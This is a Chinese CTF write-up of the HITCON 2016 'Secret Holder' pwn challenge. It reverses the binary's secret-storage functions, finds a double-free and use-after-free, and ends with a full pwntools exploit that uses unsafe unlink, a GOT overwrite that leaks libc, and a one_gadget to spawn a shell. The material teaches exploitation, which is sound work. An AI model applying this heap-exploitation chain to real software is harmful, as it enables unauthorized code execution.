6.1.21 pwn HITCONCTF2016 Secret_Holder

    64 位程序,开启了 Canary 和 NX,默认开启 ASLR。

    在 Ubuntu-16.04 上玩一下:

    1. Hey! Do you have any secret?
    2. I can help you to hold your secrets, and no one will be able to see it :)
    3. 1. Keep secret
    4. 2. Wipe secret
    5. 3. Renew secret
    6. 1
    7. Which level of secret do you want to keep?
    8. 1. Small secret
    9. 2. Big secret
    10. 3. Huge secret
    11. 1
    12. Tell me your secret:
    13. AAAA
    14. 1. Keep secret
    15. 2. Wipe secret
    16. 3. Renew secret
    17. 3
    18. Which Secret do you want to renew?
    19. 1. Small secret
    20. 2. Big secret
    21. 3. Huge secret
    22. 1
    23. Tell me your secret:
    24. BBBB
    25. 1. Keep secret
    26. 2. Wipe secret
    27. 3. Renew secret
    28. 2
    29. Which Secret do you want to wipe?
    30. 1. Small secret
    31. 2. Big secret
    32. 3. Huge secret
    33. 1

    该程序运行我们输入 small、big、huge 三种 secret,且每种 secret 只能输入一个。通过 Renew 可以修改 secret 的内容。Wipe 用于删除 secret。

    猜测三种 secret 应该是有不同的 chunk 大小,但程序没有我们常见的打印信息这种选项来做信息泄漏。

    下面我们逐个来逆向这些功能。

    1. [0x00400780]> pdf @ sub.Which_level_of_secret_do_you_want_to_keep_86d
    2. / (fcn) sub.Which_level_of_secret_do_you_want_to_keep_86d 442
    3. | sub.Which_level_of_secret_do_you_want_to_keep_86d ();
    4. | ; var int local_14h @ rbp-0x14
    5. | ; var int local_10h @ rbp-0x10
    6. | ; var int local_8h @ rbp-0x8
    7. | ; CALL XREF from 0x00400d6e (main)
    8. | 0x0040086d push rbp
    9. | 0x0040086e mov rbp, rsp
    10. | 0x00400871 sub rsp, 0x20
    11. | 0x00400875 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
    12. | 0x0040087e mov qword [local_8h], rax
    13. | 0x00400882 xor eax, eax
    14. | 0x00400884 mov edi, str.Which_level_of_secret_do_you_want_to_keep ; 0x400e28 ; "Which level of secret do you want to keep?"
    15. | 0x00400889 call sym.imp.puts ; int puts(const char *s)
    16. | 0x0040088e mov edi, str.1._Small_secret ; 0x400e53 ; "1. Small secret"
    17. | 0x00400893 call sym.imp.puts ; int puts(const char *s)
    18. | 0x00400898 mov edi, str.2._Big_secret ; 0x400e63 ; "2. Big secret"
    19. | 0x0040089d call sym.imp.puts ; int puts(const char *s)
    20. | 0x004008a2 mov edi, str.3._Huge_secret ; 0x400e71 ; "3. Huge secret"
    21. | 0x004008a7 call sym.imp.puts ; int puts(const char *s)
    22. | 0x004008ac lea rax, [local_10h]
    23. | 0x004008b0 mov edx, 4
    24. | 0x004008b5 mov esi, 0
    25. | 0x004008ba mov rdi, rax
    26. | 0x004008bd call sym.imp.memset ; void *memset(void *s, int c, size_t n)
    27. | 0x004008c2 lea rax, [local_10h]
    28. | 0x004008c6 mov edx, 4
    29. | 0x004008cb mov rsi, rax
    30. | 0x004008ce mov edi, 0
    31. | 0x004008d3 mov eax, 0
    32. | 0x004008d8 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
    33. | 0x004008dd lea rax, [local_10h]
    34. | 0x004008e1 mov rdi, rax
    35. | 0x004008e4 call sym.imp.atoi ; int atoi(const char *str)
    36. | 0x004008e9 mov dword [local_14h], eax
    37. | 0x004008ec mov eax, dword [local_14h]
    38. | 0x004008ef cmp eax, 2 ; 2
    39. | ,=< 0x004008f2 je 0x400963 ; big secret
    40. | | 0x004008f4 cmp eax, 3 ; 3
    41. | ,==< 0x004008f7 je 0x4009bc ; huge secret
    42. | || 0x004008fd cmp eax, 1 ; 1
    43. | ,===< 0x00400900 je 0x400907 ; small secret
    44. | ,====< 0x00400902 jmp 0x400a11
    45. | |||| ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    46. | |`---> 0x00400907 mov eax, dword [0x006020c0] ; small_flag,表示 small secret 是否已存在
    47. | | || 0x0040090d test eax, eax
    48. | |,===< 0x0040090f je 0x400916 ; small_flag 为 0 时
    49. | ,=====< 0x00400911 jmp 0x400a11
    50. | ||||| ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    51. | ||`---> 0x00400916 mov esi, 0x28 ; '(' ; 40
    52. | || || 0x0040091b mov edi, 1
    53. | || || 0x00400920 call sym.imp.calloc ; calloc(1, 0x28) small secret 分配空间
    54. | || || 0x00400925 mov qword [0x006020b0], rax ; 把地址放到 [0x006020b0]
    55. | || || 0x0040092c mov dword [0x006020c0], 1 ; 设置 small_flag 1
    56. | || || 0x00400936 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
    57. | || || 0x0040093b call sym.imp.puts ; int puts(const char *s)
    58. | || || 0x00400940 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0
    59. | || || 0x00400947 mov edx, 0x28 ; '(' ; 40
    60. | || || 0x0040094c mov rsi, rax
    61. | || || 0x0040094f mov edi, 0
    62. | || || 0x00400954 mov eax, 0
    63. | || || 0x00400959 call sym.imp.read ; read(0, [0x006020b0], 0x28) 读入 small secret
    64. | ||,===< 0x0040095e jmp 0x400a11
    65. | ||||| ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    66. | ||||`-> 0x00400963 mov eax, dword [0x006020b8] ; big_flag,表示 big secret 是否已存在
    67. | |||| 0x00400969 test eax, eax
    68. | ||||,=< 0x0040096b je 0x400972 ; big_flag 为 0 时
    69. | ,======< 0x0040096d jmp 0x400a11
    70. | |||||| ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    71. | |||||`-> 0x00400972 mov esi, 0xfa0 ; 4000
    72. | ||||| 0x00400977 mov edi, 1
    73. | ||||| 0x0040097c call sym.imp.calloc ; calloc(1, 0xfa0) big secret 分配空间
    74. | ||||| 0x00400981 mov qword [0x006020a0], rax ; 把地址放到 [0x006020a0]
    75. | ||||| 0x00400988 mov dword [0x006020b8], 1 ; 设置 big_flag 1
    76. | ||||| 0x00400992 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
    77. | ||||| 0x00400997 call sym.imp.puts ; int puts(const char *s)
    78. | ||||| 0x0040099c mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
    79. | ||||| 0x004009a3 mov edx, 0xfa0 ; 4000
    80. | ||||| 0x004009a8 mov rsi, rax
    81. | ||||| 0x004009ab mov edi, 0
    82. | ||||| 0x004009b0 mov eax, 0
    83. | ||||| 0x004009b5 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 读入 big secret
    84. | |||||,=< 0x004009ba jmp 0x400a11
    85. | |||||| ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    86. | ||||`--> 0x004009bc mov eax, dword [0x006020bc] ; huge_flag,表示 huge secret 是否已存在
    87. | |||| | 0x004009c2 test eax, eax
    88. | ||||,==< 0x004009c4 je 0x4009c8 ; huge_flag 为 0 时
    89. | ,=======< 0x004009c6 jmp 0x400a11
    90. | ||||||| ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    91. | |||||`--> 0x004009c8 mov esi, 0x61a80
    92. | ||||| | 0x004009cd mov edi, 1
    93. | ||||| | 0x004009d2 call sym.imp.calloc ; calloc(1, 0x61a80) huge secret 分配空间
    94. | ||||| | 0x004009d7 mov qword [0x006020a8], rax ; 把地址放到 [0x006020a8]
    95. | ||||| | 0x004009de mov dword [0x006020bc], 1 ; 设置 huge_flag 1
    96. | ||||| | 0x004009e8 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
    97. | ||||| | 0x004009ed call sym.imp.puts ; int puts(const char *s)
    98. | ||||| | 0x004009f2 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
    99. | ||||| | 0x004009f9 mov edx, 0x61a80
    100. | ||||| | 0x004009fe mov rsi, rax
    101. | ||||| | 0x00400a01 mov edi, 0
    102. | ||||| | 0x00400a06 mov eax, 0
    103. | ||||| | 0x00400a0b call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 读入 huge secret
    104. | ||||| | 0x00400a10 nop
    105. | ||||| | ; XREFS: JMP 0x00400902 JMP 0x00400911 JMP 0x0040095e JMP 0x0040096d JMP 0x004009ba JMP 0x004009c6
    106. | `````-`-> 0x00400a11 mov rax, qword [local_8h]
    107. | 0x00400a15 xor rax, qword fs:[0x28]
    108. | ,=< 0x00400a1e je 0x400a25
    109. | | 0x00400a20 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
    110. | | ; JMP XREF from 0x00400a1e (sub.Which_level_of_secret_do_you_want_to_keep_86d)
    111. | `-> 0x00400a25 leave
    112. \ 0x00400a26 ret

    果然该函数使用 calloc() 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个,chunk 的指针放在 .bss 段上。另外其实读入 secret 的逻辑还是有问题的,它没有处理换行符,也没有在字符串末尾加 \x00

    Wipe secret

    1. [0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_wipe_a27
    2. / (fcn) sub.Which_Secret_do_you_want_to_wipe_a27 247
    3. | sub.Which_Secret_do_you_want_to_wipe_a27 ();
    4. | ; var int local_14h @ rbp-0x14
    5. | ; var int local_10h @ rbp-0x10
    6. | ; var int local_8h @ rbp-0x8
    7. | ; CALL XREF from 0x00400d7a (main)
    8. | 0x00400a27 push rbp
    9. | 0x00400a28 mov rbp, rsp
    10. | 0x00400a2b sub rsp, 0x20
    11. | 0x00400a2f mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
    12. | 0x00400a3c xor eax, eax
    13. | 0x00400a3e mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400e98 ; "Which Secret do you want to wipe?"
    14. | 0x00400a43 call sym.imp.puts ; int puts(const char *s)
    15. | 0x00400a48 mov edi, str.1._Small_secret ; 0x400e53 ; "1. Small secret"
    16. | 0x00400a4d call sym.imp.puts ; int puts(const char *s)
    17. | 0x00400a52 mov edi, str.2._Big_secret ; 0x400e63 ; "2. Big secret"
    18. | 0x00400a57 call sym.imp.puts ; int puts(const char *s)
    19. | 0x00400a5c mov edi, str.3._Huge_secret ; 0x400e71 ; "3. Huge secret"
    20. | 0x00400a61 call sym.imp.puts ; int puts(const char *s)
    21. | 0x00400a66 lea rax, [local_10h]
    22. | 0x00400a6a mov edx, 4
    23. | 0x00400a6f mov esi, 0
    24. | 0x00400a77 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
    25. | 0x00400a7c lea rax, [local_10h]
    26. | 0x00400a80 mov edx, 4
    27. | 0x00400a85 mov rsi, rax
    28. | 0x00400a88 mov edi, 0
    29. | 0x00400a8d mov eax, 0
    30. | 0x00400a92 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
    31. | 0x00400a97 lea rax, [local_10h]
    32. | 0x00400a9b mov rdi, rax
    33. | 0x00400a9e call sym.imp.atoi ; int atoi(const char *str)
    34. | 0x00400aa3 mov dword [local_14h], eax
    35. | 0x00400aa6 mov eax, dword [local_14h]
    36. | 0x00400aa9 cmp eax, 2 ; 2
    37. | ,=< 0x00400aac je 0x400ad3 ; big secret
    38. | | 0x00400aae cmp eax, 3 ; 3
    39. | ,==< 0x00400ab1 je 0x400aee ; huge secret
    40. | || 0x00400ab3 cmp eax, 1 ; 1
    41. | ,===< 0x00400ab6 jne 0x400b08
    42. | ||| 0x00400ab8 mov rax, qword [0x006020b0] ; small secret
    43. | ||| 0x00400abf mov rdi, rax
    44. | ||| 0x00400ac2 call sym.imp.free ; free([0x006020b0]) 释放 small secret
    45. | ||| 0x00400ac7 mov dword [0x006020c0], 0 ; 设置 small_flag 0
    46. | ,====< 0x00400ad1 jmp 0x400b08
    47. | |||| ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27)
    48. | |||`-> 0x00400ad3 mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
    49. | ||| 0x00400ada mov rdi, rax
    50. | ||| 0x00400add call sym.imp.free ; free([0x006020a0]) 释放 big secret
    51. | ||| 0x00400ae2 mov dword [0x006020b8], 0 ; 设置 big_flag 为 0
    52. | |||,=< 0x00400aec jmp 0x400b08
    53. | |||| ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27)
    54. | ||`--> 0x00400aee mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
    55. | || | 0x00400af5 mov rdi, rax
    56. | || | 0x00400af8 call sym.imp.free ; free([0x006020a8]) 释放 huge secret
    57. | || | 0x00400afd mov dword [0x006020bc], 0 ; 设置 huge_flag 0
    58. | || | 0x00400b07 nop
    59. | || | ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27)
    60. | || | ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27)
    61. | || | ; JMP XREF from 0x00400aec (sub.Which_Secret_do_you_want_to_wipe_a27)
    62. | ``-`-> 0x00400b08 mov rax, qword [local_8h]
    63. | 0x00400b0c xor rax, qword fs:[0x28]
    64. | ,=< 0x00400b15 je 0x400b1c
    65. | | 0x00400b17 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
    66. | | ; JMP XREF from 0x00400b15 (sub.Which_Secret_do_you_want_to_wipe_a27)
    67. | `-> 0x00400b1c leave
    68. \ 0x00400b1d ret

    该函数在释放 secret 时,首先将对应的 chunk 释放掉,然后设置 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。

    1. [0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_renew_b1e
    2. / (fcn) sub.Which_Secret_do_you_want_to_renew_b1e 330
    3. | sub.Which_Secret_do_you_want_to_renew_b1e ();
    4. | ; var int local_14h @ rbp-0x14
    5. | ; var int local_10h @ rbp-0x10
    6. | ; var int local_8h @ rbp-0x8
    7. | ; CALL XREF from 0x00400d86 (main)
    8. | 0x00400b1e push rbp
    9. | 0x00400b1f mov rbp, rsp
    10. | 0x00400b22 sub rsp, 0x20
    11. | 0x00400b26 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
    12. | 0x00400b2f mov qword [local_8h], rax
    13. | 0x00400b33 xor eax, eax
    14. | 0x00400b35 mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400ec0 ; "Which Secret do you want to renew?"
    15. | 0x00400b3a call sym.imp.puts ; int puts(const char *s)
    16. | 0x00400b3f mov edi, str.1._Small_secret ; 0x400e53 ; "1. Small secret"
    17. | 0x00400b44 call sym.imp.puts ; int puts(const char *s)
    18. | 0x00400b49 mov edi, str.2._Big_secret ; 0x400e63 ; "2. Big secret"
    19. | 0x00400b4e call sym.imp.puts ; int puts(const char *s)
    20. | 0x00400b53 mov edi, str.3._Huge_secret ; 0x400e71 ; "3. Huge secret"
    21. | 0x00400b58 call sym.imp.puts ; int puts(const char *s)
    22. | 0x00400b5d lea rax, [local_10h]
    23. | 0x00400b61 mov edx, 4
    24. | 0x00400b66 mov esi, 0
    25. | 0x00400b6b mov rdi, rax
    26. | 0x00400b6e call sym.imp.memset ; void *memset(void *s, int c, size_t n)
    27. | 0x00400b73 lea rax, [local_10h]
    28. | 0x00400b77 mov edx, 4
    29. | 0x00400b7c mov rsi, rax
    30. | 0x00400b7f mov edi, 0
    31. | 0x00400b84 mov eax, 0
    32. | 0x00400b89 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
    33. | 0x00400b8e lea rax, [local_10h]
    34. | 0x00400b92 mov rdi, rax
    35. | 0x00400b95 call sym.imp.atoi ; int atoi(const char *str)
    36. | 0x00400b9a mov dword [local_14h], eax
    37. | 0x00400b9d mov eax, dword [local_14h]
    38. | 0x00400ba0 cmp eax, 2 ; 2
    39. | ,=< 0x00400ba3 je 0x400be9 ; big secret
    40. | | 0x00400ba5 cmp eax, 3 ; 3
    41. | ,==< 0x00400ba8 je 0x400c1f ; huge secret
    42. | || 0x00400baa cmp eax, 1 ; 1
    43. | ,===< 0x00400bad jne 0x400c52
    44. | ||| 0x00400bb3 mov eax, dword [0x006020c0] ; small secret
    45. | ||| 0x00400bb9 test eax, eax
    46. | ,====< 0x00400bbb je 0x400be7 ; small_flag 0 时,函数返回
    47. | |||| 0x00400bbd mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
    48. | |||| 0x00400bc2 call sym.imp.puts ; int puts(const char *s)
    49. | |||| 0x00400bc7 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0
    50. | |||| 0x00400bce mov edx, 0x28 ; '(' ; 40
    51. | |||| 0x00400bd3 mov rsi, rax
    52. | |||| 0x00400bd6 mov edi, 0
    53. | |||| 0x00400bdb mov eax, 0
    54. | |||| 0x00400be0 call sym.imp.read ; read(0, [0x006020b0], 0x28) 否则读入 small secret
    55. | ,=====< 0x00400be5 jmp 0x400c52
    56. | ||||| ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e)
    57. | ,=`----> 0x00400be7 jmp 0x400c52
    58. | || ||| ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e)
    59. | || ||`-> 0x00400be9 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0
    60. | || || 0x00400bef test eax, eax
    61. | || ||,=< 0x00400bf1 je 0x400c1d ; big_flag 0 时,函数返回
    62. | || ||| 0x00400bf3 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
    63. | || ||| 0x00400bf8 call sym.imp.puts ; int puts(const char *s)
    64. | || ||| 0x00400bfd mov rax, qword [0x006020a0] ; [0x6020a0:8]=0
    65. | || ||| 0x00400c04 mov edx, 0xfa0 ; 4000
    66. | || ||| 0x00400c09 mov rsi, rax
    67. | || ||| 0x00400c0c mov edi, 0
    68. | || ||| 0x00400c11 mov eax, 0
    69. | || ||| 0x00400c16 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 否则读入 big secret
    70. | ||,====< 0x00400c1b jmp 0x400c52
    71. | |||||| ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e)
    72. | ,=====`-> 0x00400c1d jmp 0x400c52
    73. | |||||| ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e)
    74. | |||||`--> 0x00400c1f mov eax, dword [0x006020bc] ; [0x6020bc:4]=0
    75. | ||||| 0x00400c25 test eax, eax
    76. | ||||| ,=< 0x00400c27 je 0x400c51 ; huge_flag 0 时,函数返回
    77. | ||||| | 0x00400c29 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: "
    78. | ||||| | 0x00400c2e call sym.imp.puts ; int puts(const char *s)
    79. | ||||| | 0x00400c33 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0
    80. | ||||| | 0x00400c3a mov edx, 0x61a80
    81. | ||||| | 0x00400c3f mov rsi, rax
    82. | ||||| | 0x00400c42 mov edi, 0
    83. | ||||| | 0x00400c47 mov eax, 0
    84. | ||||| | 0x00400c4c call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 否则读入 huge secret
    85. | ||||| | ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e)
    86. | ||||| `-> 0x00400c51 nop
    87. | ||||| ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e)
    88. | ||||| ; JMP XREF from 0x00400be5 (sub.Which_Secret_do_you_want_to_renew_b1e)
    89. | ||||| ; JMP XREF from 0x00400be7 (sub.Which_Secret_do_you_want_to_renew_b1e)
    90. | ||||| ; JMP XREF from 0x00400c1b (sub.Which_Secret_do_you_want_to_renew_b1e)
    91. | ||||| ; JMP XREF from 0x00400c1d (sub.Which_Secret_do_you_want_to_renew_b1e)
    92. | `````---> 0x00400c52 mov rax, qword [local_8h]
    93. | 0x00400c56 xor rax, qword fs:[0x28]
    94. | ,=< 0x00400c5f je 0x400c66
    95. | | 0x00400c61 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
    96. | | ; JMP XREF from 0x00400c5f (sub.Which_Secret_do_you_want_to_renew_b1e)
    97. | `-> 0x00400c66 leave
    98. \ 0x00400c67 ret

    总结一下我们知道的东西:

    • small secret: small chunk, 40 bytes
      • small_ptr: 0x006020b0
      • small_flag: 0x006020c0
    • big secret: large chunk, 4000 bytes
      • big_ptr: 0x006020a0
      • big_flag: 0x006020b8
    • huge secret: large chunk, 400000 bytes
      • huge_ptr: 0x006020a8
      • huge_flag: 0x006020bc

    漏洞:

    • double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk
    • use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用

    有个问题是,400000 bytes 的 huge secret 连 top chunk 都不能满足,此时会调用 sysmalloc(),通过 brk() 或者 mmap() 为其分配空间,该函数首先判断是否满足 mmap() 的分配条件,即需求 chunk 的大小大于阀值 mp_.mmap_threshold,且此进程通过 mmap() 分配的总内存数量 mp_.n_mmaps 小于最大值 mp_.n_mmaps_max

    此时将使用 mmap() 来分配内存。然而这样得到的内存将与初始堆(由brk()分配,位于.bss段附近)的位置相距很远,难以利用。所以我们要想办法使用 brk() 来分配,好消息是由于性能的关系,在释放由 mmap() 分配的 chunk 时,会动态调整阀值 mp_.mmap_threshold 来避免碎片化,使得下一次的分配时使用 brk()

    1. void
    2. __libc_free (void *mem)
    3. {
    4. [...]
    5. if (chunk_is_mmapped (p)) /* release mmapped memory. */
    6. /* see if the dynamic brk/mmap threshold needs adjusting */
    7. if (!mp_.no_dyn_threshold
    8. && p->size > mp_.mmap_threshold
    9. && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
    10. {
    11. mp_.mmap_threshold = chunksize (p);
    12. mp_.trim_threshold = 2 * mp_.mmap_threshold;
    13. LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
    14. }
    15. munmap_chunk (p);
    16. return;
    17. }
    1. def unlink():
    2. keep(1)
    3. wipe(1)
    4. keep(2) # big
    5. wipe(1) # double free
    6. keep(1) # small # overlapping
    7. keep(3)
    8. wipe(3)
    9. keep(3) # huge
    10. payload = p64(0) # fake prev_size
    11. payload += p64(0x21) # fake size
    12. payload += p64(small_ptr - 0x18) # fake fd
    13. payload += p64(small_ptr - 0x10) # fake bk
    14. payload += p64(0x20) # fake prev_size
    15. payload += p64(0x61a90) # fake size
    16. renew(2, payload)
    17. wipe(3) # unsafe unlink

    因为在分配 large chunk 的时候,glibc 首先会调用函数 malloc_consolidate() 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。

    首先制造 double free:

    1. gdb-peda$ x/5gx 0x006020a0
    2. 0x6020a0: 0x0000000000603010 0x0000000000603040
    3. 0x6020b0: 0x0000000000603010 0x0000000100000001
    4. 0x6020c0: 0x0000000000000001
    5. gdb-peda$ x/10gx 0x00603010-0x10
    6. 0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big
    7. 0x603010: 0x0000000041414141 0x0000000000000000
    8. 0x603020: 0x0000000000000000 0x0000000000000000
    9. 0x603030: 0x0000000000000000 0x0000000000061a91 <-- huge
    10. 0x603040: 0x0000000041414141 0x0000000000000000

    然后在 big secret 里布置一个 fake chunk:

    1. gdb-peda$ x/5gx 0x006020a0
    2. 0x6020a0: 0x0000000000603010 0x0000000000603040
    3. 0x6020b0: 0x0000000000603010 0x0000000100000001
    4. 0x6020c0: 0x0000000000000001
    5. gdb-peda$ x/10gx 0x00603010-0x10
    6. 0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big
    7. 0x603010: 0x0000000000000000 0x0000000000000021 <-- fake chunk
    8. 0x603020: 0x0000000000602098 0x00000000006020a0 <-- fd, bk pointer
    9. 0x603030: 0x0000000000000020 0x0000000000061a90 <-- huge
    10. 0x603040: 0x0000000041414141 0x0000000000000000
    11. gdb-peda$ x/gx 0x00602098 + 0x18
    12. 0x6020b0: 0x0000000000603010 <-- P->fd->bk = P
    13. gdb-peda$ x/gx 0x006020a0 + 0x10
    14. 0x6020b0: 0x0000000000603010 <-- P->bk->fd = P

    于是我们就获得了修改 .bss 段的能力。

    1. def leak():
    2. global one_gadget
    3. payload = "A" * 8
    4. payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    5. payload += "A" * 8
    6. payload += p64(big_ptr) # small_ptr -> big_ptr
    7. renew(1, payload)
    8. renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
    9. renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
    10. wipe(2)
    11. puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    12. libc_base = puts_addr - libc.symbols['puts']
    13. one_gadget = libc_base + 0x4525a
    14. log.info("libc base: 0x%x" % libc_base)
    15. log.info("one_gadget address: 0x%x" % one_gadget)

    修改 big_ptr 指向 free@got.plt,small_ptr 指向 big_ptr:

    1. gdb-peda$ x/6gx 0x00602098
    2. 0x602098: 0x4141414141414141 0x0000000000602018
    3. 0x6020a8: 0x4141414141414141 0x00000000006020a0
    4. 0x6020b8: 0x0000000000000001 0x0000000000000001
    5. gdb-peda$ x/gx 0x00602018
    6. 0x602018 <free@got.plt>: 0x00007ffff7a91a70

    修改 free@got.pltputs@plt,big_ptr 指向 puts@got.plt

    1. gdb-peda$ x/6gx 0x00602098
    2. 0x602098: 0x4141414141414141 0x0000000000602020
    3. 0x6020a8: 0x4141414141414141 0x00000000006020a0
    4. 0x6020b8: 0x0000000000000001 0x0000000000000001
    5. gdb-peda$ x/gx 0x00602018
    6. 0x602018 <free@got.plt>: 0x00000000004006c0
    7. gdb-peda$ x/gx 0x00602020
    8. 0x602020 <puts@got.plt>: 0x00007ffff7a7d5d0

    此时释放 big secret,其实就是 puts(puts_addr),通过偏移计算即可得到 libc 基址和 one-gadget 地址。

    pwn

    1. def pwn():
    2. payload = "A" * 0x10
    3. payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    4. renew(1, payload)
    5. renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
    6. io.interactive()

    最后可以通过两次修改,将 puts@got.plt 修改为 one-gadget,获得 shell。

    开启 ASLR,Bingo!!!

    完整的 exp 如下:

    1. #!/usr/bin/env python
    2. from pwn import *
    3. #context.log_level = 'debug'
    4. io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc-2.23.so'})
    5. elf = ELF('SecretHolder')
    6. libc = ELF('libc-2.23.so')
    7. small_ptr = 0x006020b0
    8. big_ptr = 0x006020a0
    9. def keep(idx):
    10. io.sendlineafter("Renew secret\n", '1')
    11. io.sendlineafter("Huge secret\n", str(idx))
    12. io.sendafter("secret: \n", 'AAAA')
    13. def wipe(idx):
    14. io.sendlineafter("Renew secret\n", '2')
    15. io.sendlineafter("Huge secret\n", str(idx))
    16. def renew(idx, content):
    17. io.sendlineafter("Renew secret\n", '3')
    18. io.sendlineafter("Huge secret\n", str(idx))
    19. io.sendafter("secret: \n", content)
    20. def unlink():
    21. keep(1)
    22. wipe(1)
    23. keep(2) # big
    24. wipe(1) # double free
    25. keep(1) # small # overlapping
    26. keep(3)
    27. wipe(3)
    28. keep(3) # huge
    29. payload = p64(0) # fake prev_size
    30. payload += p64(0x21) # fake size
    31. payload += p64(small_ptr - 0x18) # fake fd
    32. payload += p64(small_ptr - 0x10) # fake bk
    33. payload += p64(0x20) # fake prev_size
    34. payload += p64(0x61a90) # fake size
    35. renew(2, payload)
    36. wipe(3) # unsafe unlink
    37. def leak():
    38. global one_gadget
    39. payload = "A" * 8
    40. payload += p64(elf.got['free']) # big_ptr -> free@got.plt
    41. payload += "A" * 8
    42. payload += p64(big_ptr) # small_ptr -> big_ptr
    43. renew(1, payload)
    44. renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
    45. renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
    46. wipe(2)
    47. puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    48. libc_base = puts_addr - libc.symbols['puts']
    49. one_gadget = libc_base + 0x4525a
    50. log.info("libc base: 0x%x" % libc_base)
    51. log.info("one_gadget address: 0x%x" % one_gadget)
    52. def pwn():
    53. payload = "A" * 0x10
    54. payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
    55. renew(1, payload)
    56. renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
    57. io.interactive()
    58. if __name__ == "__main__":
    59. unlink()
    60. leak()